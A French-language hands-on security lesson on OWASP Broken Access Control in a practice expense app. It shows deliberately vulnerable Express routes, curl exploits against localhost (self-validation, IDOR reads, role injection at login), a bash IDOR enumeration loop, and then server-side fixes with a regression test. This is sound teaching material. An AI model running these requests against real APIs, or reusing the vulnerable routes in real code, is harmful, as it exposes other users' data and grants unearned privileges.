Broken Access Control

Avant de commencer

Pourquoi cette séance

Le Broken Access Control (A01) est en tête du Top 10 OWASP — la faille la plus répandue et la plus coûteuse. Son principe : une fonctionnalité existe et marche, mais l'application ne vérifie pas si l'utilisateur a le droit de l'utiliser, ou d'accéder à cette donnée précise. Contrairement à l'injection (une donnée détournée), ici tout est « normal » côté technique — c'est le contrôle qui manque. Résultat : un visiteur valide ses propres fiches (auto-remboursement), lit les fiches d'un collègue, accède à l'espace comptable. Aujourd'hui tu provoques ces accès illégitimes sur AppliFrais, puis tu installes les barrières d'autorisation côté serveur.

Comment avancer (en autonomie)

Mise en place — ton terrain d'attaque

Tu travailles sur ta copie d'AppliFrais. Il te faut l'API démarrée et deux comptes visiteurs (pour l'IDOR, il faut un « autrui ») plus un comptable.

# dans le dossier de l'API AppliFrais
npm install
npm run dev          # Express ecoute sur http://localhost:3000

# dans un autre terminal : le front (optionnel pour ce TP, on attaque l'API)
npm run dev          # Vite sert http://localhost:5173

API AppliFrais demarree sur http://localhost:3000
MongoDB connecte (appliFrais)

Ce que tu vas apprendre

0. Authentification ≠ autorisation

Deux mots qu'on confond, et c'est la source de la faille. Distingue-les une fois pour toutes :

Les deux grandes formes de la faille

1. Récupérer et lire ton token

Avant d'attaquer, il faut une « arme » : ton token. C'est lui que tu présentes à chaque requête. On va l'obtenir, puis le décoder pour comprendre ce qu'il contient — détail crucial pour le chapitre 3.

Étape 1 — se connecter et récupérer le token

curl -s -X POST http://localhost:3000/api/login \
     -H "Content-Type: application/json" \
     -d '{"login":"visiteurA","mdp":"secret"}'

{"token":"eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0.Kf9s_Aa1"}

Étape 2 — stocker le token dans une variable

# on garde le token sous la main pour les requetes suivantes
TOKEN_A=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0.Kf9s_Aa1

Étape 3 — décoder le JWT (et comprendre qu'il n'est PAS secret)

Un JWT a 3 parties séparées par des points : entête.charge_utile.signature. Les deux premières sont juste du base64 — lisible par n'importe qui. Décode la charge utile (la partie du milieu) :

# on isole la 2e partie (entre les deux points) et on la decode
echo eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6InZpc2l0ZXVyIn0 | base64 -d

{"id":"665f1a02","role":"visiteur"}

Sous le capot du JWT — chiffres-repères pro

2. Rôle manquant : valider sans être comptable

Première vraie attaque : une route sensible qui vérifie le token mais pas le rôle.

// VULNERABLE -- on verifie le token (auth) mais PAS le role
router.patch('/api/fiches/:id/valider', auth, async (req, res) => {
  await FicheFrais.findByIdAndUpdate(req.params.id, { etat: 'VA' });
  res.json({ ok: true });
});

L'exploitation

# avec mon token VISITEUR, j'appelle la route comptable :
curl -s -X PATCH http://localhost:3000/api/fiches/665f1a02/valider \
     -H "Authorization: Bearer $TOKEN_A"

{"ok":true}

Je vérifie que ma fiche est bien passée à l'état VA (validée) :

curl -s http://localhost:3000/api/fiches/665f1a02 \
     -H "Authorization: Bearer $TOKEN_A"

{"_id":"665f1a02","visiteurId":"665f1a02","etat":"VA","montant":420}
--> ma fiche est VALIDEE sans qu'aucun comptable ne soit intervenu

3. IDOR : lire la fiche d'un autre

L'IDOR (Insecure Direct Object Reference) : une route renvoie un objet désigné par un id dans l'URL, sans vérifier que le demandeur en est le propriétaire.

// VULNERABLE -- on renvoie la fiche par id, sans verifier le proprietaire
router.get('/api/fiches/:id', auth, async (req, res) => {
  const fiche = await FicheFrais.findById(req.params.id);
  res.json(fiche);                // et si la fiche n'est pas a moi ?
});

L'exploitation : énumérer les id

# je connais l'id de MA fiche. J'essaie celui d'un autre :
curl -s http://localhost:3000/api/fiches/665f1a07 \
     -H "Authorization: Bearer $TOKEN_A"

{"_id":"665f1a07","visiteurId":"665f1a05","etat":"CL","montant":230,"libelle":"taxi gare"}
--> ce n'est PAS ma fiche (visiteurId different du mien), et je la lis quand meme

Avec des id séquentiels ou devinables, on énumère : une boucle teste ...a01, ...a02, ...a03… et aspire toutes les fiches.

Mise à l'échelle — une boucle d'énumération

Dans la réalité, l'attaquant n'essaie pas un id à la main : il automatise. Sur une API vulnérable, une boucle bash aspire l'ensemble des fiches en quelques secondes :

# boucle bash : aspirer plusieurs fiches via IDOR
# (ids découverts via listing d'une autre route, ou fuités dans les logs)
for ID in 665f1a00 665f1a01 665f1a02 665f1a03 665f1a04 665f1a05 665f1a06 665f1a07
do
  echo "=== $ID ==="
  curl -s http://localhost:3000/api/fiches/$ID \
       -H "Authorization: Bearer $TOKEN_A" \
  | grep -E '"_id"|"visiteurId"|"montant"|"libelle"'
done

=== 665f1a01 ===
"_id":"665f1a01","visiteurId":"665f1a01","montant":120,"libelle":"repas client"
=== 665f1a05 ===
"_id":"665f1a05","visiteurId":"665f1a05","montant":880,"libelle":"hotel Lyon"
=== 665f1a07 ===
"_id":"665f1a07","visiteurId":"665f1a05","montant":230,"libelle":"taxi gare"

Note : les ObjectId MongoDB ne sont pas aléatoires — ils encodent un timestamp Unix (4 premiers octets), un identifiant de machine (3 octets) et un compteur (3 octets). Des id générés à quelques secondes d'intervalle sont très proches : faciles à énumérer si on en connaît un seul.

4. Escalade par le client

Troisième forme : l'appli fait confiance à une donnée contrôlée par le client pour décider des droits.

// VULNERABLE -- le role vient du body / d'un champ modifiable
router.post('/api/login', async (req, res) => {
  const user = await Visiteur.findOne({ login: req.body.login });
  // ... verif mdp ...
  const token = jwt.sign({ id: user.id, role: req.body.role }, SECRET); // role du CLIENT !
});

L'exploitation

# je glisse mon propre role dans le corps du login
curl -s -X POST http://localhost:3000/api/login \
     -H "Content-Type: application/json" \
     -d '{"login":"visiteurA","mdp":"secret","role":"comptable"}'

{"token":"eyJhbGciOiJIUzI1NiJ9.eyJpZCI6IjY2NWYxYTAyIiwicm9sZSI6ImNvbXB0YWJsZSJ9.Zx7..."}

Je décode la charge utile du nouveau token (comme au chap. 1) :

{"id":"665f1a02","role":"comptable"}
--> je suis simple visiteur, mais mon token dit "comptable" : j'accede a tout l'espace comptable

5. La correction : contrôler côté serveur

Avant le code, fixe le vocabulaire des réponses : le bon code HTTP selon le défaut.

Barrière 1 — le rôle vient du serveur, pas du client

// le role est lu en BASE (user.role), jamais du body
const token = jwt.sign({ id: user.id, role: user.role }, SECRET);

Barrière 2 — middleware de rôle sur les routes sensibles

function requireRole(role) {
  return (req, res, next) => {
    if (req.user.role !== role) return res.status(403).json({ error: 'interdit' });
    next();
  };
}
router.patch('/api/fiches/:id/valider', auth, requireRole('comptable'), valider);

Barrière 3 — vérifier la propriété (contre l'IDOR)

router.get('/api/fiches/:id', auth, async (req, res) => {
  const fiche = await FicheFrais.findById(req.params.id);
  if (!fiche) return res.status(404).json({ error: 'introuvable' });
  // l'utilisateur est-il proprietaire (ou comptable) ?
  if (String(fiche.visiteurId) !== req.user.id && req.user.role !== 'comptable')
    return res.status(403).json({ error: 'interdit' });
  res.json(fiche);
});

// centraliser : tout le routeur exige au moins une authentification
router.use(auth);                       // deny by default : aucune route anonyme
router.patch('/fiches/:id/valider', requireRole('comptable'), valider);

Aller plus loin — RBAC vs ABAC

if (fiche.visiteurId !== req.user.id) return res.status(403).json({error:'interdit'});

6. Non-régression : un test qui garde la porte

Une correction de sécurité, ça se verrouille : un test automatisé qui échoue le jour où quelqu'un réintroduit la faille. C'est de la non-régression de sécurité.

const request = require('supertest');
const app = require('../app');

test('un visiteur ne peut pas valider une fiche (403)', async () => {
  const res = await request(app)
    .patch('/api/fiches/' + ficheId + '/valider')
    .set('Authorization', 'Bearer ' + tokenVisiteur);
  expect(res.status).toBe(403);   // si un jour ca repasse a 200 : alerte rouge
});

PASS  tests/access.test.js
  A01 Broken Access Control
    OK  un visiteur ne peut pas valider une fiche (403)

Tests: 1 passed, 1 total

Mini-projet : rapport & carte de menace

Rédige le rapport (format E7) des défauts de contrôle d'accès trouvés sur AppliFrais :

1. Description : Broken Access Control (A01), les 3 formes trouvées ;
2. Preuve : pour chacune, la requête + l'accès illégitime obtenu ;
3. Impact : auto-validation, lecture des données d'autrui, escalade ;
4. Correction : rôle serveur + requireRole + vérif propriété + deny by default ;
5. Vérification : les 3 attaques renvoient 403 (et le test de non-régression passe).

Pour finir

L'essentiel

Vérifie tes acquis

Glossaire